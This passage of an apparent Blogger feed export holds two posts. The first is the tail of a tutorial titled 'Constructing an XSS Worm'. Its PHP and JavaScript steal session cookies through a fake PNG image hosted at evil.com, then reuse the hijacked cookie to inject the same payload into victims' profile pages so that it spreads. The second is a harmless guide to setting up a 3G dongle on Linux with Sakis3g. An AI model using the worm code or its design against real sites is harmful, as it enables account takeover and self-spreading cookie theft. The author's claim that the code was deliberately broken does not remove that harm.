javascript, and didn&#39;t use PHP for anything except what he had to 
(editing database fields, etc.) Because filtering was done via 
javascript, I figured it wasn&#39;t done on the PHP side (I was correct), so
 if I could access the file directly, I was in buisness.&lt;br /&gt;
&lt;br /&gt;
It worked. site.com/users_neighborhood.php was accessable, and when I 
edited my neighborhood, I was able to insert a cookie stealer. The 
cookie stealer employed my favorite concept, albeit not always possible:
 the image. Which brings me to my first segment of code, the cookie 
stealer itself:&lt;/div&gt;
&lt;div align=&quot;left&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;bbCodeBlock bbCodeQuote&quot;&gt;
	&lt;aside&gt;
		
		&lt;blockquote&gt;
&lt;span style=&quot;color: #0b5394;&quot;&gt;
$data = $_GET[&#39;data&#39;]; #get the cookie&lt;br /&gt;&lt;br /&gt;
#create image&lt;/span&gt;
&lt;span style=&quot;color: #0b5394;&quot;&gt;&lt;br /&gt;
header(&quot;Content-type: image/png&quot;); #this is a PNG file&lt;br /&gt;
$image = imagecreate(1,1); #create a 1x1 image&lt;br /&gt;
imagecolorallocate(1,1,1); #set BG to white&lt;br /&gt;
imagepng($image); #display the image&lt;br /&gt;
imagedestroy($image); #delete image from temp memory&lt;br /&gt;&lt;br /&gt;
#store cookie&lt;/span&gt;
&lt;span style=&quot;color: #0b5394;&quot;&gt;&lt;br /&gt;
$fp = fopen(&quot;misc.html&quot;,&quot;r&quot;); #open log file and append it&lt;br /&gt;
fputs($fp, $data.&quot;&lt;br /&gt;&quot;); #add the data&lt;br /&gt;
fclose($fp); #close file&lt;br /&gt;
?&amp;gt;&lt;/span&gt;&lt;/blockquote&gt;
&lt;/aside&gt;
&lt;/div&gt;
&lt;div align=&quot;left&quot;&gt;
&lt;br /&gt;
&lt;br /&gt;
This code simply created a PNG image and set the file&#39;s output content-type to PNG.&lt;br /&gt;
&lt;br /&gt;
And the Javascript looked like this:&lt;/div&gt;
&lt;div class=&quot;bbCodeBlock bbCodeQuote&quot;&gt;
	&lt;aside&gt;
		
		&lt;blockquote&gt;
&lt;span style=&quot;color: #0b5394;&quot;&gt;&lt;script&gt;document.write(&quot;&lt;img src=&#39;&lt;a href=&quot;http://dereferer.org/?http://evil.com/image.php?data=&quot; target=&quot;_blank&quot; class=&quot;externalLink&quot;&gt;http://evil.com/image.php?data=&lt;/a&gt;&quot; document.cookie &quot;&#39;&gt;&quot;);&lt;/script&gt;&lt;/span&gt;&lt;/blockquote&gt;
&lt;/aside&gt;
&lt;/div&gt;
&lt;div align=&quot;left&quot;&gt;
&lt;br /&gt;
&lt;br /&gt;
So, easy part down. Next is the propagation technique. I had a PHP 
program, and it contains a variable with the entire cookie in it. So the
 obvious thing to do at this point was to use sockets to connect to our 
target site&#39;s users_neighborhood.php page with the hijacked cookie. I 
did this by opening a socket and passing data to it. Here&#39;s the code:&lt;/div&gt;
&lt;div align=&quot;left&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;bbCodeBlock bbCodeQuote&quot;&gt;
	&lt;aside&gt;
		
		&lt;blockquote&gt;
&lt;span style=&quot;color: #0b5394;&quot;&gt;
#Connect Data&lt;br /&gt;
$host = &quot;site.com&quot;; #URL&lt;br /&gt;
$page = &quot;/users_neighborhood.php&quot;; #page&lt;br /&gt;
$agent = &quot;BorgBrowser&quot;; #user agent, used to specify the browser/program (googlebot, mozilla firefox, etc.)&lt;br /&gt;
$cookie = $data; #The cookie from above&lt;br /&gt;
$xss = 
&quot;%3Cscript%3Edocument.write%28%22%3Cimg%20src%3D%27http%3A//evil.com/image.php%3Fdata%3D%22+document.cookie+%22%27%3E%22%29%3B%3C/script%3E&quot;;
 #A URL encoded version of the XSS attack&lt;br /&gt;
$attack = &quot;neighborhood=&quot;.$xss; #POST data with the XSS attack in it.&lt;br /&gt;
?&amp;gt;&lt;/span&gt;&lt;/blockquote&gt;
&lt;/aside&gt;
&lt;/div&gt;
&lt;div align=&quot;left&quot;&gt;
&lt;br /&gt;
&lt;br /&gt;
This section of code just set up all the variables used later.&lt;br /&gt;
&lt;/div&gt;
&lt;div class=&quot;bbCodeBlock bbCodeQuote&quot;&gt;
	&lt;aside&gt;
		
		&lt;blockquote&gt;
&lt;span style=&quot;color: #0b5394;&quot;&gt;
#Make Packet&lt;br /&gt;
function makePacket($host, $page, $agent, $rnum, $cookie, $data)&lt;br /&gt;
{&lt;br /&gt;
#Generate the packet&lt;br /&gt;
$packet = &quot;POST &quot;.$page.&quot; HTTP/1.1rn&quot;; #POST to the users_neighborhood page&lt;br /&gt;
$packet .= &quot;Host: &quot;.$host.&quot;rn&quot;; #specify the host&lt;br /&gt;
$packet .= &quot;User-Agent: &quot;.$agent.&quot;rn&quot;; #specify the user agent&lt;br /&gt;
$packet .= &quot;Content-type: application/x-www-form-urlencodedrn&quot;; #the content type&lt;br /&gt;
$packet .= &quot;Content-length: &quot;.strlen($data).&quot;rn&quot;; #the content length, found by str_len, which finds the length of a variable&lt;br /&gt;
$packet .= &quot;Set-Cookie: &quot;.$cookie.&quot;rn&quot;; #And, set the cookie&lt;br /&gt;
$packet .= $attack; #and finally, our payload&lt;br /&gt;&lt;br /&gt;
#return packet&lt;/span&gt;
&lt;span style=&quot;color: #0b5394;&quot;&gt;&lt;br /&gt;
return $packet; #return the packet&lt;br /&gt;
}&lt;br /&gt;
?&amp;gt;&lt;/span&gt;&lt;/blockquote&gt;
&lt;/aside&gt;
&lt;/div&gt;
&lt;div align=&quot;left&quot;&gt;
&lt;br /&gt;
&lt;br /&gt;
This section is a function which allows us to create a valid HTTP/1.1 packet with POST data and cookie data in it.&lt;br /&gt;
&lt;/div&gt;
&lt;div class=&quot;bbCodeBlock bbCodeQuote&quot;&gt;
	&lt;aside&gt;
		
		&lt;blockquote&gt;
&lt;span style=&quot;color: #0b5394;&quot;&gt;
#open network connection&lt;br /&gt;
$port = getservbyname(&#39;www&#39;, &#39;tcp&#39;); #get the TCP port the WWW service uses&lt;br /&gt;
$addr = gethostbyname($host); #get the address of our host, as defined above&lt;br /&gt;
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); #create a socket&lt;br /&gt;
$result = socket_connect($socket, $addr, $port); #connect to the host on the WWW&#39;s port&lt;br /&gt;
?&amp;gt;&lt;/span&gt;&lt;/blockquote&gt;
&lt;/aside&gt;
&lt;/div&gt;
&lt;div align=&quot;left&quot;&gt;
&lt;br /&gt;
this section created our network connection to the site&lt;br /&gt;
&lt;/div&gt;
&lt;div class=&quot;bbCodeBlock bbCodeQuote&quot;&gt;
	&lt;aside&gt;
		
		&lt;blockquote&gt;
&lt;span style=&quot;color: #0b5394;&quot;&gt;
#Send Data&lt;br /&gt;
$in = makePacket($host, $page, $agent, $rnum, $cookie, $data); #Get the output of the makePacket function created above&lt;br /&gt;
socket_write($socket, $in, strlen($in)); #write to the socket the packet&lt;br /&gt;&lt;br /&gt;
#close network connection&lt;/span&gt;
&lt;span style=&quot;color: #0b5394;&quot;&gt;&lt;br /&gt;
socket_close($socket); #Close the socket connection&lt;br /&gt;
?&amp;gt;&lt;/span&gt;&lt;/blockquote&gt;
&lt;/aside&gt;
&lt;/div&gt;
&lt;div align=&quot;left&quot;&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;This section of code wrote the HTTP packet to the site&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
What we have done is used the &quot;XSS&quot; exploit in the site steal to cookie.
 Our cookie stealer script not only logs cookies, but it is also used to
 authenticate us as that user and grant us the ability to edit THEIR 
content, and steal cookies using their page as well.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;color: red;&quot;&gt;LEGAL STUFF/DISCLAIMER:&lt;/span&gt;&lt;/b&gt; &lt;span style=&quot;color: blue;&quot;&gt;&lt;i&gt;THE
 CODE IN THIS TUTORIAL WAS EDITED TO ENSURE THAT IS DOES NOT WORK 
PROPERLY. THIS WAS DONE ON PURPOSE TO AVOID THE USE OF THIS CODE FOR 
ILLEGITIMATE PURPOSES. THE CODE IS FOR POC PURPOSES ONLY, MEANT OT 
DEMONSTRATE THE EXTENSION OF XSS HOLES. DON&#39;T DO BAD STUFF, CAUSE IT&#39;S 
NOT ON ME IF YOU DO. THIS WORM WAS CREATED AND TESTED IN A CONTROLLED 
ENVIRONMENT.&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div align=&quot;left&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div align=&quot;left&quot;&gt;
THANK YOU ALL ...!!!&lt;/div&gt;
&lt;/blockquote&gt;
&lt;/article&gt;
			
			
		&lt;/div&gt;
</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1037799212658950396/posts/default/1394428575581227339'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1037799212658950396/posts/default/1394428575581227339'/><link rel='alternate' type='text/html' href='http://infosec-regeneration.blogspot.com/2012/11/constructing-xss-worm.html' title='Constructing an XSS Worm'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/05798090312725633022</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-1037799212658950396.post-435448355481591726</id><published>2012-11-16T23:24:00.002+05:30</published><updated>2012-11-16T23:24:37.649+05:30</updated><title type='text'>Setting up 3g mobile broadband in linux/backtrack (The Easy Way)</title><content type='html'>&lt;div align=&quot;center&quot;&gt;
&lt;span style=&quot;color: #666666;&quot;&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: red;&quot;&gt;Setting up 3g mobile broadband&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;in linux/backtrack (The Easy Way)&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;color: #351c75;&quot;&gt;Now
 recently I just bought 3g mobile broadband dongle to access the 
internet on the weekends when we go out to our ranch. Now it works 
perfect for windows but I still rather run it under linux and I&#39;ve tried
 so many different options tutorials ETC. Everybody make it sound 300x 
harder than it actually is. This doesn&#39;t take much computer know how to 
do. BTW this is all done with one program called Sakis3g awsome little 
tool with lots of great features like an interactive GUI. Now there are 
some key notes you have to know before we start. &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;REMOVE
 THE SIM CARD FROM THE USB DONGLE AND INSERT IT INTO YOUR PHONE JUST TO 
MAKE SURE IT DOES NOT A PIN LOCK IF IT DOES REMOVE IT THE PIN LOCK 
SHOULD BE SOMETING LIKE 0000 OR 1234 PUT MOST OF THEM THESE DAYS COME 
UNLOCKED.&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;Let&#39;s get started&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;About Sakis3g&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;font-family: &#39;inherit&#39;;&quot;&gt;&lt;span&gt;Sakis3G
 is a tweaked shell script which is supposed to work out-of-the-box for 
establishing a 3G connection with any combination of modem or operator. 
It automagically setups your USB or Bluetooth™ modem, and may even 
detect operator settings. You should try it when anything else fails!&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
 &lt;br /&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;font-family: &#39;inherit&#39;;&quot;&gt;&lt;span style=&quot;color: orange;&quot;&gt;&lt;span&gt;&lt;span style=&quot;color: #351c75;&quot;&gt;Now let&#39;s browse to&lt;/span&gt; &lt;/span&gt;&lt;span&gt;&lt;span style=&quot;color: black;&quot;&gt;&lt;a class=&quot;externalLink&quot; href=&quot;http://dereferer.org/?http://adf.ly/1z2Jd&quot; target=&quot;_blank&quot;&gt;Sakis3G&lt;/a&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #351c75;&quot;&gt;&lt;span&gt;and scroll down until you see the download section if you don&#39;t know witch version to download. Just download the the first one &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;color: #0b5394;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: &#39;inherit&#39;;&quot;&gt;&lt;span&gt;i386 - Fullversion&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;span style=&quot;font-family: &#39;inherit&#39;;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: lime;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;http://2.bp.blogspot.com/-8BYsVr5uoiE/TZRtUHa-dhI/AAAAAAAAAIQ/-VmegPu-RwI/s1600/1.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://2.bp.blogspot.com/-8BYsVr5uoiE/TZRtUHa-dhI/AAAAAAAAAIQ/-VmegPu-RwI/s1600/1.png&quot; height=&quot;640&quot; width=&quot;586&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;span style=&quot;font-family: &#39;inherit&#39;;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: lime;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;font-family: &#39;inherit&#39;;&quot;&gt;&lt;span&gt;&lt;span style=&quot;color: orange;&quot;&gt;&lt;span style=&quot;color: #0b5394;&quot;&gt;Now before we run it lets go back to windows and check the 3G dongle setting&lt;/span&gt;. &lt;/span&gt;&lt;span style=&quot;color: #783f04;&quot;&gt;First, most important thing is everything you see and take note of is case sensitive&lt;/span&gt;&lt;span style=&quot;color: orange;&quot;&gt;. &lt;span style=&quot;color: #741b47;&quot;&gt;Now what do we need.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;font-family: &#39;inherit&#39;;&quot;&gt;&lt;span&gt;&lt;span style=&quot;color: orange;&quot;&gt;&lt;span style=&quot;color: #741b47;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;color: #38761d;&quot;&gt;1. Name of your APN incase sakis3g does not acquire it automatically.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;color: lime;&quot;&gt;&lt;span style=&quot;color: #38761d;&quot;&gt;2. Your user name and password&lt;/span&gt; &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;Now
 the password might be a bit tricky as you can see in mine my user name 
is Zain and my password is a four letter or digit password. Most if not 
all companies would have something like 0000 1111 1234 or it can be 
exactly the same as your user name.&lt;/span&gt;&lt;/div&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;***NOTE*** &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;Notice
 my APN is all lower case and my username has a capital Z at the 
beginning and if my password where to be the same as my username it will
 also have a capital Z at the beginning.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;font-family: &#39;inherit&#39;;&quot;&gt;&lt;span&gt;&lt;span style=&quot;color: lime;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;http://2.bp.blogspot.com/-bk79pvJJAZY/TZR8BYQw5TI/AAAAAAAAAIk/p_0PmLt5SbU/s1600/02.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://2.bp.blogspot.com/-bk79pvJJAZY/TZR8BYQw5TI/AAAAAAAAAIk/p_0PmLt5SbU/s1600/02.PNG&quot; height=&quot;388&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;span style=&quot;font-family: &#39;inherit&#39;;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: lime;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;font-family: &#39;inherit&#39;;&quot;&gt;&lt;span&gt;&lt;span style=&quot;color: lime;&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: black;&quot;&gt;&lt;span style=&quot;font-family: &#39;inherit&#39;;&quot;&gt;Now after we got all the information we needed let&#39;s reboot into linux. Make sure you are not connected to any to anything before you start. Browse to where you have downloaded Sakis3g and run these commands.&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;font-family: &#39;inherit&#39;;&quot;&gt;&lt;span&gt;&lt;span style=&quot;color: lime;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;font-family: &#39;inherit&#39;;&quot;&gt;&lt;span&gt;&lt;span style=&quot;color: lime;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: &#39;inherit&#39;;&quot;&gt;&lt;span style=&quot;color: lime;&quot;&gt;gunzip sakis3g.gz&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: &#39;inherit&#39;;&quot;&gt;&lt;span&gt;&lt;span style=&quot;color: lime;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: &#39;inherit&#39;;&quot;&gt;&lt;span style=&quot;color: lime;&quot;&gt;chmod +x sakis3g&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: &#39;inherit&#39;;&quot;&gt;&lt;span&gt;&lt;span style=&quot;color: lime;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: &#39;inherit&#39;;&quot;&gt;&lt;span style=&quot;color: lime;&quot;&gt;./sakis3g --interactive&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;
 &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;font-family: &#39;inherit&#39;;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: lime;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: &#39;inherit&#39;;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: lime;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;http://4.bp.blogspot.com/-FSXdBjw9Lxg/TZR8buQ2zaI/AAAAAAAAAIo/021GNPWUkRY/s1600/2.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://4.bp.blogspot.com/-FSXdBjw9Lxg/TZR8buQ2zaI/AAAAAAAAAIo/021GNPWUkRY/s1600/2.png&quot; height=&quot;504&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: &#39;inherit&#39;;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: lime;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: &#39;inherit&#39;;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: lime;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-family: &#39;inherit&#39;;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;Once you run the interactive GUI it will give you four options pick option one and press enter.&lt;/b&gt;&lt;br /&gt;
 &lt;/div&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;span style=&quot;font-family: &#39;inherit&#39;;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: lime;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;http://3.bp.blogspot.com/-DwhdnRd8PPQ/TZR8lG4BNhI/AAAAAAAAAIs/y-QP0I856-k/s1600/3.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://3.bp.blogspot.com/-DwhdnRd8PPQ/TZR8lG4BNhI/AAAAAAAAAIs/y-QP0I856-k/s1600/3.png&quot; height=&quot;504&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: &#39;inherit&#39;;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;font-family: &#39;inherit&#39;;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;It will the ask you what interface pick the first one like I have and press enter.&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: &#39;inherit&#39;;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: lime;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;http://3.bp.blogspot.com/-CXZjSrGzhgs/TZR86djXFlI/AAAAAAAAAIw/hcf97tNEtFE/s1600/4.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://3.bp.blogspot.com/-CXZjSrGzhgs/TZR86djXFlI/AAAAAAAAAIw/hcf97tNEtFE/s1600/4.png&quot; height=&quot;504&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: &#39;inherit&#39;;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: lime;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;font-family: &#39;inherit&#39;;&quot;&gt;&lt;span&gt;&lt;b&gt;Good if you get this screen that means it 
has automatically found your APN so what is left to do is put in our 
username and password. Remember case sensitive information.&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;font-family: &#39;inherit&#39;;&quot;&gt;&lt;span&gt;&lt;span style=&quot;color: lime;&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: orange;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;http://4.bp.blogspot.com/-l7C6nEUPWoI/TZR9BnC4wlI/AAAAAAAAAI0/UH1W0hrdqk4/s1600/5.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://4.bp.blogspot.com/-l7C6nEUPWoI/TZR9BnC4wlI/AAAAAAAAAI0/UH1W0hrdqk4/s1600/5.png&quot; height=&quot;504&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: &#39;inherit&#39;;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: lime;&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: orange;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: &#39;inherit&#39;;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: lime;&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: orange;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;http://3.bp.blogspot.com/-iJef7x6Z9rU/TZR9SPer86I/AAAAAAAAAI4/7dhFK5h27kw/s1600/6.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://3.bp.blogspot.com/-iJef7x6Z9rU/TZR9SPer86I/AAAAAAAAAI4/7dhFK5h27kw/s1600/6.png&quot; height=&quot;504&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
